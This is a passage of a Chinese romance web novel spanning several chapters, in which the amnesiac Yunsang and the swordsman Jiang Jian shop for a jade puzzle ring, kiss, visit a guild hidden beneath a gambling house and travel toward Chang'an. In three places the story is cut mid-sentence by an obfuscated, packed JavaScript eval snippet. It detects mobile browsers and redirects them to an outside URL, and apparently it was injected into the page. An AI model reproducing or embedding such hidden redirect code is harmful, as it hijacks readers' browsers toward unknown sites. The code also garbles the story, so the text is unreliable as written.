回去的路上,路过了一家售卖九连环的铺子,云桑因为想起了梦里“爹爹”送给她的红玉九连环,不禁多看了出来的客人手上摆弄的九连环,被心思活络的江见窥见了些。 “走,我们也买个玩玩。” 一瞬间明白了些什么,云桑内心唏嘘,觉得江见细心又放纵,尤其对她。 江见以后八成是个会带着孩子一道玩乐的慈父,心思飘忽到了初遇那夜,江见向她提出的要求,神思又不受控制地蔓延开来。 这样下去,她迟早要沉溺在江见编织的罗网中,云桑觉得不应当放纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223567|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己沉沦,于是嘴硬抗拒道:“不了,我对这个没兴趣,咱们回去吧。” 江见没被她故作不在乎的姿态迷惑,反而还无情揭穿了她。 “娘子少骗人了,我方才都看见了,娘子的眼睛都要黏在上面了,承认又不丢人,娘子别装了。” 少年嬉笑着,带着故意的逗弄,让云桑好不容易克制住的心跟着乱晃,神色都有些控制不住了。 脸色一阵红一阵青的,愣是半点话都反驳不出来。 进了铺子,掌柜热情地迎上来,满脸殷切道:“两位客人想要什么样式的?” 虽然白袍少年看着一副江湖客的打扮,看不出富贵否,但他身旁那个相貌妍丽精致的少女确实一身贵气逼人。 身上的衣裙是云绫锦不说,身上挎着的小布袋还是浮光锦,这两样可是最名贵的料子,财力肉眼可见。 至于这钱是谁的不重要,反正自有人会出血。 云桑本想着九连环不过是个解闷的小玩意,买个寻常些的就够用了,谁料想还没等她开口,江见便饶有兴趣到陈列着各式各样九连环的柜台奔去了,大有精心挑选一番的意思。 问题是,云桑目测他是往金玉区奔去的。 云桑眼皮子一跳,知道他又要乱花钱了。 金玉无论制成何物都是价值不菲的,九连环也是如此,美丽的背后是更美丽的价格。 江见很快相中了一个玉九连环,是绿莹莹的翡翠玉石,剔透无杂质,水汪汪的好品相。 “娘子快来,看看这个喜不喜欢!” 瞧见他不出意料相中了一个又美又贵的,云桑僵笑着走过去了,低声劝道:“换一个吧,这个很贵的。” 云桑觉得不必为一个小玩意耗那么多钱财,尤其江见这样靠着运气发了横财的,总有一天会被他糟蹋光。 然在这样的事上,江见却是很执着,他固执道:“那咋了,这个最好看,我就喜欢,娘子难道不喜欢吗?” 他满脸的认真,看上去正经极了,云桑被询问,下意识答了句:“喜欢是喜欢,就是……” “那不就结了,掌柜的,就要这个,结账!” 云桑根本没有时间阻止,事情便以尘埃落定,看着笑呵呵过来收钱的掌柜,云桑咽下了嘴里的话。 云桑算是发现了,江见这人对需要的人或者物都有自己的标准,不论是身为娘子的自己,还是衣裳、九连环这样的物件,只要是他觉得最好看的就够了,其他一概不论。 心绪复杂地将九连环揣进自己新鲜出炉的布袋中,云桑同江见走出铺子,微微刺眼的暖阳洒满长街,她抬头,微眯着眼眸看着眉眼愉悦的少年,鬼使神差道:“江见,你当初在桃花山坚持救下我做娘子,是不是因为我是你见过最好看的姑娘?” 对于这个猜测,云桑心中既庆幸又不是滋味,因为自己的获救只是见色起意这样肤浅的缘由。 闻言,江见不由自主将目光黏在少女莹润灵秀的面颊上,尤其在那双水盈盈的灵动眼眸中看见了映照在其中的自己,心中雀跃不已,欢喜张了口。 22. 第 22 章 “没错,娘子是我见过最好看的姑娘,我一见着娘子的面便喜欢上了!” 意料之中的答案,云桑眸光暗了暗,继续道:“那日后若是出现了比我更好看的姑娘,你待如何?” 熙熙攘攘的大街上,随着这个问题问出来,耳畔纷乱的各色嘈杂声也消失了,天地霎那间安静了下来,仿佛都在随着云桑一起等对方的回答。 只见江见沉吟了几息,才慢慢看向她,明亮的眼眸中带着笃定。 “娘子说错了。” 莫名听到这一句,云桑一愣,不解道:“什么错了?” 这人的脑袋总是跳跃得厉害,这下又不知跳去哪了。 “这世上不会有比娘子更好看的姑娘了,所以娘子先前的话都不成立。” 一条长臂搭上了自己的肩膀,不松不紧地揽住了她,使得她被往江见怀中带了带,但没有什么禁锢感,只是有些亲昵。 云桑并未感受到不适,便没有挣扎,注意力都被他这话吸引了。 “你就这么确定,你都没见过几个姑娘吧?” 她自己对自己都没有那么大的自信,却不想江见这样高看她,云桑觉得定然是江见这人太年轻,没见过什么世面,只见了她便惊为天人,觉得天下无双了。 云桑可没觉得自己这张脸是什么天下第一,因而根本端不住江见的吹捧。 “谁说我没见过,我十四岁便被师父赶下山历练了,每年都能瞧见好些个姑娘,什么秦楼楚馆的花魁娘子,江湖数一数二的美人,各州郡盛赞的名门闺秀,就连长安那个据说是皇族第一美人的熙宁公主我都瞧见过,可我觉得还是娘子最合我的眼缘,我觉得最好看嘿嘿~” 听江见说了那么一大堆,云桑隐约知晓了江见的意思。 眼缘,这是个十分玄异的东西。 就好比同一身衣裙,有的姑娘瞧了分外喜欢,有的姑娘觉得下乘普通,有的姑娘觉得无功无过尚且凑合。 大约自己恰好是最符合江见喜好的那一个,才会引得他如此赞誉,不惜捧她是世间第一了。 搞清楚后,云桑也不在这事上缠了,面颊微烫,强装淡定地点头道:“我知道了,你不必再说。” 将事情讲清楚了,江见心满意足地揽着心爱的娘子,面上的笑一直未曾断过,世上最快乐的人也不过如此了。 为了迁就云桑的体力,两人走得慢,犹如散步一般悠闲,再被暖烘烘的太阳一照,云桑骨头都犯懒。 路上有一个小插曲,他们在路上遇到了一个蛮横的公子哥策马在街市上横冲直撞,将一个瘸腿老伯拉的一车新鲜菜都撞翻了,不仅如此,那公子哥只是冷睨了一眼,丝毫没有一丝歉意就要走,害得人家本就腿脚不便的老伯艰难地在地上拾着好不容易种出来糊口的菜,让人见之不平。 也许是捡到了云桑面上的愤怒,又或者是江见这人爱行侠仗义,云桑看见他朝着那蛮横的公子哥身上弹了颗不起眼的小石子,那公子哥忽地一阵身形不稳,直直从马上坠了下来,摔了腿,在地上哀叫起来,让一旁看了前因后果的路人心中爽快,直道报应。 人终究是好人多,对于撒了一地菜的可怜老伯,许多人都尽了自己的一份力,搭把手去帮了老伯,云桑也在附近,也顺手拾了几颗菘菜。 因为人手太多的缘故,菜很快被全部拾完,老伯一脸感动地向众人道谢,继续用他跛了一条腿的身子拉着一车菜走了。 回到云来客栈时,客栈已经过了最热闹的时刻,整个大堂都清净不少。 正是用完午饭又奔忙了好一会的午后,人最是犯困的时候,云桑整个人都开始恹恹的,打算睡个午觉。 门嘎吱一声被打开,云桑因为困倦而黯淡无神的双目便黏在了床上,她刚走了几步,才听到身后的门再度嘎吱一声阖上,就察觉到自己的腰被人一把搦住,上面的力道使得她不住后退,最终落入了一个温暖却硌人的怀抱。 “江见你做……唔~” 惊慌之下话还没说出口,唇便被倾覆而下的江见堵得严严实实,密不可分。 云桑往后退,江见便欺着她前进,直到两人一步步退到了门边,江见眼疾手快地用一只手抵在了她的后背,才没让云桑被门硌着。 就在这急促的几步间,唇上被一心二用的江见啃了几个来回,没有浪费一点。 江见实在是个学习能力惊人的存在,只是第二回,他熟练了许多,那张轻软的唇不止只会用唇肉厮磨了,他甚至学会了含吮。 尤其在云桑唇珠在被他吮.吸得开始发麻时,她察觉到江见大有探入了她唇间得意图。 那湿滑刁钻的一块肉将两片唇感受了个彻底后,开始在缝隙间刺探,眼看着就要溜进去。 云桑那股恹恹的劲再没有了,下意识紧闭唇关,不让外来者侵入。 但云桑的那丁阻碍在越战越勇的江见面前根本就不算什么,江见只握在云桑腰间的手轻挠了挠,受到刺激的云桑顿时失了力气,唇关的松懈让时刻寻找破绽的江见寻到了机会,长驱直入。 新鲜而奇异的感觉让两人都是脊骨一阵酥麻,唯一不同的是一个酥麻后兴奋地在里面勾缠,几乎要将人融到自己怀中;一个脑袋混沌,连带着四肢都开始阵阵发软有些站不住。 江见将她抱得太紧,虽然导致她无法挣扎,但也让筋骨发软的她不至于狼狈滑落。 云桑羞耻于自己的反应,但又支使不了自己没出息的身体,唯一能做的便是紧紧揪着江见的衣裳,克制住自己颤栗又狂乱的情绪。 她对亲吻是极为生涩的,加上江见来得猝不及防,她甚至没学会换气,只一张面颊憋得通红,被紧贴着甚至挤压着的胸脯急促喘息着。 江见也发现了这点,虽然还没彻底爽快,但这次也尝尽了甜头,他慢慢退了出去。 唇齿虽已分开,但两人方才极近勾缠的暧昧仍旧藕断丝连,对于脸皮薄的云桑来说,当看见那丝丝缕缕未断绝的银丝时,她恨不得钻到土里和虫子作伴。 “娘子都不会换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233840|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的吗?” 餍足快活的少年从里到外都透着被滋润过的痕迹,一张俊俏的面上尽是艳丽情色,经过激烈厮磨的唇瓣鲜艳水润,那双原本不够多情的桃花眼此刻也尽是灼灼风流。 谁说只有女子才有惑人的美色,云桑瞧了江见后立即发出了这样的疑问。 此刻的江见就像是一只山中专门惑人心神的妖物,一不留神便会被他勾了去。 心绪平静了些,云桑还带着些许湿意的双眸故作凶狠地看向江见,没有回应他先前的调侃,只微喘着控诉他。 “你太过分了!” 虽然和大街上是同样的一句话,但眼下唯有此句可以表达云桑此刻内心的愤慨。 他怎么能一言不合就将她按在门上亲,又怎么能掐她的腰撬她的嘴,还丝毫不讲究地在那里搅弄风云! 这一桩桩一件件都突破了云桑的心理承受能力,她满腹牢骚。 云桑不仅一张脸爬满了红晕,脖子和耳朵也是如此,江见瞧了甚至在想,娘子身上是不是也红彤彤的变了颜色。 不过再度听到这声斥责,江见又不服气了,梗着脖子叭叭了起来。 “这次我没有当着别人的面,只有咱们两人,如何又过分了?” “难不成娘子很讨厌我这个夫君,不想与我亲近?” 说到这,少年肉眼可见地委屈难过了下来,明澈的双眸也随之黯淡,眼尾随着情绪耷拉下来,像一条即将被遗弃的小狗。 十分具有迷惑性,至少这一瞬间将云桑迷惑住了。 “不、不是,我没有讨厌你,只是、只是……” 云桑磕磕绊绊地解释着,看着江见近在咫尺的幽深黑眸,她更紧张了。 她好怕江见忽然像刚才那样压下来,让她再经受一轮磋磨。 “只是什么?” 好在他只是满面认真地追问缘由,没有那等可怕的心思。 云桑干脆认栽了,身心进入了一种状似躺平的状态,为自己争取道:“只是太突然了,这样的情况若是下次再有能否知会一声,让我有个心理准备。” 一听是这缘故,江见顿时没了愁绪,再度喜笑颜开。 “原是这样,那日后我若是想亲亲娘子,定会提前说与娘子听的。” 云桑羞耻感还未下心头,只小声嗯了一声,便被江见拉去一道午睡了。 仍旧是雷打不动的两床被子,江见将裹着被子的她紧紧抱在怀里,笑容甜蜜。 “今日好好睡,明日要出门赚钱,娘子一个人在客栈我不放心,到时娘子同我一道去。” 云桑迷迷糊糊间,听到江见在她耳畔念叨了一句,不过困倦的她没力气去问更多的话,且江见在她跟前可不是个藏话的,明日问也是一样。 胡乱嗯了一声,云桑睡了过去,在意识最终消失之前,云桑感受到了自己的唇被对方轻啄了一下。 江见没跟她提前说! 那一刻,云桑心中不忿了一下,但抵不过困意来袭。 23. 第 23 章 翌日,江见带着她悠哉游哉地晃到了一处赌场。 云桑站在门外,看着里面情绪激昂,又哭又笑,情绪极其不稳定的赌徒,神色是赤.裸.裸的排斥与不喜。 “你不是说出来赚钱吗?不会是要进去跟人家赌吧?” 赌钱可不是个好习惯,至少云桑是厌恶的,若是江见真要去,她少不得要竭力劝阻一番。 所幸,江见听了只是摇了摇头道:“非也,那可不是个好习惯,我师父也不让我玩。” “我另有门路。” “走,娘子跟紧我!” 云桑只觉得他说了一句废话,因为江见这人本就将她紧攥着,哪里需要她特意跟紧。 “哦。” 尽管如此,面对神采飞扬的江见,云桑还是很给面子地应了一声,裙裾翩跹地踏进了赌场。 忽然看见一个长相漂亮乖软的小姑娘落入了这乌烟瘴气的地儿,大半的人都跟着瞧了过来,其中有些垂涎淫.邪的目光,江见你察觉到了,扭过头便是一个阴森煞气的笑,将人笑得浑身起鸡皮疙瘩,心底生寒地将目光收了回去。 江见这才满意地点了点头,带着他总是受到觊觎的宝贝娘子去寻赌场管事。 见进门的一对俊俏少年人径直朝着他过来了,赖管事笑呵呵迎上去道:“在下清风赌场管事,可有什么能帮到两位客人的?” 寻常客人都是一进门选个位置便开赌,像这般一看便冲着他来的必定是有要紧事的。 江见上下扫了一眼这管事,如同一个第一次闯入这等鱼龙混杂地寻人的单纯少年一般,笑语迎道。 云桑是无法回答的,因而这时候扭头看着江见。 “暗香疏影,梅落千机。” 江见只笑着道出了这短短三个字,那管事面色一凛,殷勤的假笑变得肃穆正经。 “小公子是来接单的?” 管事拱手问道,在这嘈杂混乱的大堂内也不自觉压低了些声音。 “自然,快些带路。” 江见干脆利落地应话,云桑能感觉到他有些急切。 管事再不迟疑,交代了赌场内的副手好好照料着,他片刻后回来。 两人跟着管事进了内室,只见管事拨动了机关,床榻移开,露出了下面黑黝黝的地道。 看起来阴森恐怖,若是云桑一人是万万不敢下去的。 下意识抱住了江见的胳膊,这样就算遇到危险江见便能搭救她一把,云桑心道。 感受到身侧软绵绵贴上来的少女,江见眼眸弯了弯,丝毫不掩饰他的欢喜。 沿着地道石阶一步步走下去,在昏暗的地下穿越过几道石门后,眼前豁然开朗。 目的地是一处明亮的石殿,石殿周围有若干小门,眼下正有人不断进出,看起来异常忙碌。 石殿中央是空荡荡的,但上面却显得异常拥挤,因为上面挂着数不清的各色牌子。 有木牌、铜牌、银牌、金牌、玉牌,看的人眼花缭乱。 那些个金玉之物,若是拿回家去也能发财了,但此刻都大剌剌地挂在上头,丝毫不防备人。 云桑细心地发现,这些牌子中金玉牌子远比其他的要少,大概是为了区分什么吧。 石殿上首有一张宽大的长案,此刻正有一人坐在案前,云桑一开始没有发现是因为这人穿着一身黑,貌似还在案上打瞌睡,直到江见同那人打招呼她才注意到。 管事正恭敬立于一旁,等候着将人再领出去。 “罗堂主,竟是你被遣到了江州?” 江见明显是识得案上的男子,语气熟稔中带着些惊奇。 案上打瞌睡的人立即被惊醒,睁着一双惺忪的睡眼看见了不远处的江见,还有江见身边的漂亮少女。 原本迷糊的人瞬间来了精神,饶有兴趣地从座位上走了下来,也没有急着答江见的话,先围着两人转了一圈,惊奇问道:“你竟带了个小姑娘,她是你什么人?” 其实罗堂主并不是没有看到两人牵在一起的手,只不过是有些不敢相信,想亲耳听江见说。 对于罗堂主这般直勾勾的打量,虽然里面没有藏着什么恶心的心思,但江见还是不大乐意,将一脸茫然的云桑往身边带了带,神情骄傲道:“自然是我娘子,要不然还能是什么人。” 罗堂主闻言,又看了一眼模样漂亮但懵懂单纯的少女,挑了挑眉,心中好奇,多嘴问了句:“你这娘子哪来的,看着像是大户人家的闺女,不会是你小子骗来的吧?” 罗英看人很准,江见身边这个姑娘一打眼瞧着便不是出身寻常的,肌骨丰盈,肤白貌美,周身的气度更不是小门小户能养出来的,倒像是长安那些高门大户浸润出来的娇贵女儿。 江见竟成功讨了这样的姑娘做娘子,罗英理智上觉得是不大合理的。 当然并非贬损江见这个人,按他们江湖的标准来看,这小子绝对是个有出息的后生,但若是放在贵人眼中,他们不过是些草莽罢了,哪里配得上他们家金尊玉贵的女儿。 然观这小姑娘乖巧安静的自愿姿态,罗英便怀疑人是这小子用花言巧语勾来的,毕竟江见这后生嘴皮子上一向伶俐,更重要的是他生了一张好脸,迷惑一个单纯的深闺女儿也不是什么难事。 这话让江见听了很是不悦,他立即板起了脸,两眼仿佛放起了刀子。 “别胡说八道,才不是骗来的,我娘子是我捡来的!” 听这话,罗英更惊奇了,这样的姑娘还能随随便便捡着,天下还有这样的好事? 看出了罗英眼中的疑惑,云桑此刻站了出来徐徐道:“是这样,我大概是遭了难,记不起过往了,是江见救了我。” 听到云桑平和且没有怨言的话语,罗英不再诨说,只又将目光转向了江见,说起了风凉话。 “丢了记忆啊,那若是日后人家姑娘想起了一切,是不是你娘子就不一定喽~” 罗英也知自己这张嘴不大好,甚至因为这张破嘴被千机阁不少师兄揍过,但山难移性难改,他还是会时不时说些欠扁的话来。 忽地,一道清悦剑鸣响起,银光闪了一下眼睛,云桑就看见一向好脾气的江见不由分说拔出了霜叶剑,直指那说了风凉话的罗堂主,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245198|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色发臭。 “我娘子才不会抛弃我!” 他咬着牙,一字一句将这话往外蹦,甚至还扭过头来询问愣怔的云桑。 “娘子你说对吧?” 那双如黑曜石一般的眼眸幽深寂静,虽然未带着石破天惊的声响,但却让被注视着的云桑心里一阵阵发毛。 “呃…对。” 面对江见这副要将人捅成筛子的凶恶架势,连那位罗堂主都惊叫着连连后退,大呼小叫的模样,云桑自然也不会跟江见抬杠。 她讪笑着应道,心里其实虚得打鼓。 她自己都不知道自己恢复记忆后会是什么光景,后续同江见又会是什么模样,毕竟未来是不可预测的,而且还是她一无所知的未来。 但此时此景,她自是挑着江见爱听的话来说,让人沉稳些。 原本还情绪不稳定的江见,在听到云桑肯定的应答后,仿佛服了颗定心丸,当即一改先前的臭脸,忽地扬起灿笑来。 “看吧,我娘子都说了,你少咒我!” 罗英自听见江见拔剑的那一瞬,便机敏地往后躲,挥动的手丝毫不敢沾上那把细长的雪剑。 开玩笑,江见这小子这把剑可利着呢,他可不能被戳着。 当初这小子虽说是从他这里赚钱,但终究是救了他一命,他是亲眼见过这个笑面虎一样的漂亮少年是如何凶残地凭借一柄同主人一样赏心悦目的剑将追杀他的那些一流杀手斩杀殆尽的。 见自己随口一句玩笑话就惹毛了江见,罗英心里骂了自己一句嘴贱,再不敢拿那个小姑娘来挑事了。 “哎哎哎,我只是开个玩笑,不抛弃不抛弃,江见你先把剑放下!” 面对吱哇乱叫的罗堂主,江见冷哼了一声,又看了一眼身畔又乖又软的少女,心里的火气才消了下去。 罗英见人稳了下来,也恢复成了一本正经的模样,回答起了先前江见一进来的话。 “阁主说江州这边收成不大好,偏偏我又是个会经营的,自打这个前堂主人没了,阁主就让我过来暂领一段时间,我便过来了。” “这次还是老规矩,要千机阁最贵的那一单?” 虽熟悉江见的习惯,罗英仍是确定地问了句,得到的是肯定的回答。 “自然。” 说话的同时,江见目光放在了被吊在上空的玉牌上,双眸瞄准了位置比其他玉牌稍高的那一个,就要去取下。 “先别急。” 关键时刻,罗英出声阻止了他,斟酌着开口道:“这单有些特别,早有人要接了,只是因为它不同于往常,所以玉牌一直留在此处。” 一听最贵的单被人捷足先登了,江见眉头便是一拧,笑容也瞬间消失了。 “早知便动作快些了,这下亏大了!” 江见气闷极了,闷闷不乐叹了一句,神色也没了往日的神采飞扬,就好似一个没有争到心爱玩具的孩童。 云桑是个体贴的姑娘,瞧着江见那副蔫了吧唧的可怜模样,心软地想宽慰两句,罗堂主卖完了关子,话锋一转。 “但也不是不能接。” 50-60 第51章 第 51 章 忌日 长亘山这样荒无人烟的地方冷不丁来了一封信, 丝毫不用怀疑,这封信是给江见的。 飞身跃上枝头,江见身手利落地将那装着信件的小竹筒取下来, 边走便拆。 云桑也跟着凑了过去, 想瞧瞧上面写了些什么。 很自然的动作, 也没有多想这封信自己能不能瞧,浑身上下都透着足够的熟稔与亲近。 江见更是如此, 怕个头矮他不少的娘子看不见,还特意拿低了些, 往云桑眼前凑了凑。 两人的目光同时落在了那一页清隽中带着风流潇洒的字迹上。 虽然不知是谁写的,但上面的内容云桑看得懂, 信的主人大抵是江见的朋友,言说自己研究出了破除噬春散的方子,不过所需的药材难寻, 尤其其中一味唤作血灵芝的。 信的来由,其一是告知江见这个好消息, 让他去将药材寻齐, 日后为师父炼制解药。 其二,则是信主人自己的喜帖。 说是要成亲了, 新娘子是长安人, 婚仪也在长安举行,婚期定在七月二十一, 邀请江见过去参加婚宴。 显然,信的主人知晓江见可能不会来,话语也比较随意,只说到时会先给他留位置,来不来随意。 但信的主人还是不够了解江见, 以为他是个足够随性不讲情意的江湖侠客。 见到长安两字,云桑眼睛也亮了亮,探头过去问江见:“真巧,也是在长安,你会去吗?” 在云桑的认知中,江见不是个喜欢去凑热闹的人,而且云桑也不知道江见与信的主人交情几何,便不能确定。 信上有列出来的药材,江见便没有将信撇到一边去,而是重新折好收起来,怕放自己身上丢了,往云桑的袋子里塞。 塞好后,江见慢条斯理地开口了。 “要去的,成婚是人生大事,该去一趟的,而且他帮了我这个大忙,也是恩情,自不能拂了人家的好意,反正都是顺道,也不麻烦。” 云桑讶异地瞧他,不掩饰自己的意外,笑道:“我还以为你从不在意这种人情往来呢。” 将竹筒随手弹到地上,江见挑眉道:“偶尔也是需要在意一下的,毕竟成婚是人生大事,如今我去了,日后我们的婚仪自然也有人来。” 三句话没到又扯上了他们,云桑轻瞪了他一眼,将他催去套马车了。 流云老老实实地套上挽具,不时回头看云桑,那姿态云桑再熟悉不过,是在要吃的。 云桑从袋子里掏出了一块糖还有几片果干,耐心地给流云喂食。 套好挽具的江见走过来瞧了一眼,又打碎了他那坛子说冒就冒的醋,开始看马不顺眼了。 “就知道吃,谷中的草差点被你啃秃了,才出来多久就饿了,馋死你得了~” 江见就见不惯除了自己,云桑还对其他生物温柔体贴,更何况这还是一头公马! 流云是听不懂话的,只是察觉到江见似乎态度不大好,轻扫了扫马尾,继续吃果干了。 好吃的东西不仅人喜欢吃,马同样也是,只不过江见很吝啬,怕马吃了云桑的份,很少拿果干来喂,云桑到时无所谓,在这方面很是大方。 不赞同江见,云桑反驳他道:“一路上那么冷,都拿去抵御严寒了,饿得快多正常,你别这么说流云。” 见大馋马被云桑护着,江见嘁了一声,也没再说什么了。 马车中落了些灰尘,江见手脚勤快地将里里外外都擦拭了一遍,使得云桑刚掏出来帕子半天都没派上用场。 勤快,实在是太勤快了。 将两人带出来的两个小包袱塞到马车里,见万事俱备,云桑带着她沉甸甸的小袋子钻进了马车里。 马车内一些基础的东西没有被拿到云桑谷中,譬如马车软榻上铺盖的毯子。 好在马车里是封闭的,灰尘最少,毯子上倒也没有什么,云桑还能凑合用。 车身一沉,是江见上来了,彼时车门还没有关好,云桑看见少年轻扬的发尾刮蹭到了车门,顺着缝隙滑了进来,被山风吹得簌簌飞扬着。 连带着那条白色的发带,有一下没一下地抽打着木质的车门,发出轻微的哒哒声响。 怕他的头发被门夹住,云桑拢起了他的发尾,还有那截白色发带,倾身前探过去,体贴地将其理好拨到了江见身前。 抬头对上江见幽深的双目,云桑就听见他开始胡言乱语了。 “娘子挑逗我。” 简简单单五个字倏然间让原本心绪平静的云桑面颊烧了起来,她不可置信地看向江见,懵然道:“谁挑逗你了,你从哪学来的词,不懂别乱用!” 被江见说自己挑逗他,云桑心里别提多尴尬了。 她给他理个头发就挑逗了,简直是一派胡言! 然江见坚持自己的观点,圈着自己的发尾道:“不是吗?可你刚刚让我很想把你按在车里亲……” 这是江见以前在酒楼遇见过的,在楼梯转角,那个老板娘摸了一下她丈夫的肩膀,丈夫便言老板娘挑逗,还动手动脚的。 江见恰好路过看了,不经意记在了心上,如今被云桑来这么一下,忽地就想了起来,一双眼睛跟带着小勾子一样,仿佛下一刻就要扑上来将刚才的话付诸行动。 “少胡思乱想,我没挑逗你,是你自己杂念多,赶你的车去!” 云桑雄赳赳气昂昂地抛下这么一句,将车门啪的一声阖上,将江见那双虎狼般的目光阻挡在外。 见云桑没有像那个老板娘一般接招,与他亲热一番,还损了他,江见悻悻坐好,多少有些失落。 “不给亲算了~” “娘子在里面坐好,要出发喽~” 转瞬间将先前的不如意抛去,江见扬起马鞭轻甩在机灵的流云身上,沉寂了好些日子的马车再次动了起来,朝着长安的方向缓缓驶去。 …… 无论是四季如春的云桑谷还是终年严寒的长亘山,都让云桑模糊了四季,差点感受不出来外界如今何种季节了。 砍柴的樵夫说如今正是夏末,再过个一旬便是初秋,便没有先前那样炎热了。 云桑从云桑谷出来,自是没有体会到先前的炎热,只觉得如今外界的温度不冷不热刚刚好。 就是雨水多了些,害得她与江见,准确来说是江见在路上被淋了那么两三次,好在他是个身体强健的没感染上风寒。 延州是边境州郡,占地不能与雍凉相比,不过三五日便将其甩在了后面,进入了并州地界。 又是一旬的路程,两人再度进城歇脚,地点是并州最后一郡广魏,出了广魏郡,前方便是京畿地界,算是初步靠近长安了。 进入广魏郡的当晚,正是七月七乞巧节,是天下女子向上天祈求灵巧的好日子。 乞巧节又叫女儿节,在这一日,姑娘们都会起得大早,会和闺中密友一起采集柏叶桃枝还有清晨的甘露,两者放在一道煮用以沐浴。 因为天下女子相信,在这一日的露水不同凡响,是银河圣水,用圣水沐浴,将会得到织女的赐福与庇护。 同时,她们还会在彩楼进行拜织女,穿针引线,捉蜘蛛结网,用凤仙花染指甲等等一系列吉利有趣的事。 不过风尘仆仆的云桑倒没有那份玩乐的心思了,只想躺在客栈的床上好好休息。 倒是江见不嫌麻烦,非要闹着让云桑也染指甲,甚至连凤仙花都搜罗来了,也不知是哪里找来的。 “还是别了吧,今日有点累,弄起来好麻烦的。” 洗漱过后的云桑看着捧着一盒凤仙花瓣还有纱布的江见,神情无奈又好笑道。 江见没有被这话打消热情,仍是兴致勃勃地凑上来。 “不累,不需要娘子动手,我来给娘子染!” 对上江见那双跃跃欲试的兴奋眼眸时,云桑才隐约明白,这好像才是江见的目的。 想亲自给她染指甲。 云桑不理解,给人染指甲有什么好玩的,费心又费时间的。 本不想染的,但看着江见将东西都拿来了,又摆出一副期盼不已的神情,云桑简直没法拒绝。 “好吧,你若是不嫌麻烦随你。” 话毕,就见人屁颠屁颠去捣花瓣去了。 夜晚灯火昏黄,不如白日明亮清楚,但这些对江见来说都不是阻碍,他的目力无视昼夜。 当自己的手被江见那双宽厚温暖的手捧住时,尽管已经很熟悉了,那温热的触感还是让云桑心漏跳了一拍,心跟着颤了几颤。 “娘子的手真好看,跟水葱似的~” 涂凤仙花汁前,江见先是盯了一会,接着便仰头开始发表他的肺腑之言,听得云桑下意识想把手缩回来,然一动的瞬间,就被江见察觉,紧紧攥住了。 “干嘛,娘子你刚才可都答应了,不能反悔!” 被察觉到了意图,江见眉宇谴责,看得云桑讪讪解释:“没有的事,你继续,就是别贫嘴了,好好染。” “嗳~” 也不知江见看没看出她的羞涩,只听他欢快地应了一声,去挑凤仙花汁了。 做事的时候,江见是足够认真的,而且极为严谨,但凡花汁染到指甲外的地方,江见都要细细擦干净。 除了时不时要说句让云桑不好意思的孟浪话语,其他都还好。 从手指夸到指甲,从皮肉夸到指腹的纹路,听得云桑都佩服。 江见这样的嘴,不去谄媚都可惜了,若是在官场上拿出这副嘴脸,必定如鱼得水。 江见的动作十分轻柔,就好像有小刷子在指甲上轻刷,本是极放松舒服的事情,云桑愣是提着一颗心,心绪被他搅扰着。 终于,十个指头都涂上了花汁,江见捧着她两只手,还鼓着脸吹气,试图将其风干。 染指甲不是个能瞬时完成的活计,为了能舒坦些,云桑几乎是侧躺在软榻上,只伸着手让江见忙活,倒是没受什么累。 但江见看起来倒是受累了许多,因为软榻较矮的,他为了能保持好距离,干脆直接跪在了榻边,专心致志涂着花汁。 “吹什么,小心将花泥都吹掉了,得不偿失。” 江见呼吸一收,想着也是,用纱布将十个十个手指头一个个都缠好了。 甚至还扎了个小小的蝴蝶结,看起来很漂亮。 注意到那个小小的蝴蝶结,云桑眸光也亮了,不过怕说了心里话让江见得瑟翘尾巴,她努力管住了嘴,什么都没说。 “老板说这个花汁要涂好几次才能彻底染上,等明天夜里我再给娘子敷。” 云桑自榻上坐起来,看着十个漂亮的小蝴蝶结,摇头道:“不必,染一次就好,我不喜欢太艳丽的颜色,浅浅的就好。” 江见听罢,也打消了念头,收拾收拾东西,兀自去洗漱去了。 如以往进了郡城一般无二,江见第二日带着云桑在城中玩了一日,无非是些吃吃喝喝买买东西看看热闹的事情,至于采买随身用品便留在下一日,他们也没那么急。 但晚间归来后,云桑发现了些不同寻常的。 比如一路上开始有兜售素衣和白色绢花的,且有许多人蜂拥上前购买。 回到客栈,云桑发现客栈中老板也在兜售些素衣绢花的,无一例外绢花都是素白色。 这是丧葬才会用到的颜色,尤其是素色绢花,不逢丧葬忌日,哪个姑娘会主动在头上簪这样的绢花,更何况还有麻衣素服。 一个半大的少年上来吃食,云桑唤住他,打听起了缘由。 “敢问小兄弟,今日这会子为何这么多卖素衣绢花的,是广魏郡有什么风俗讲究吗?” 怕是人家有什么不了解的风俗,云桑怕不知道犯了人家的忌讳,遂提前打听打听。 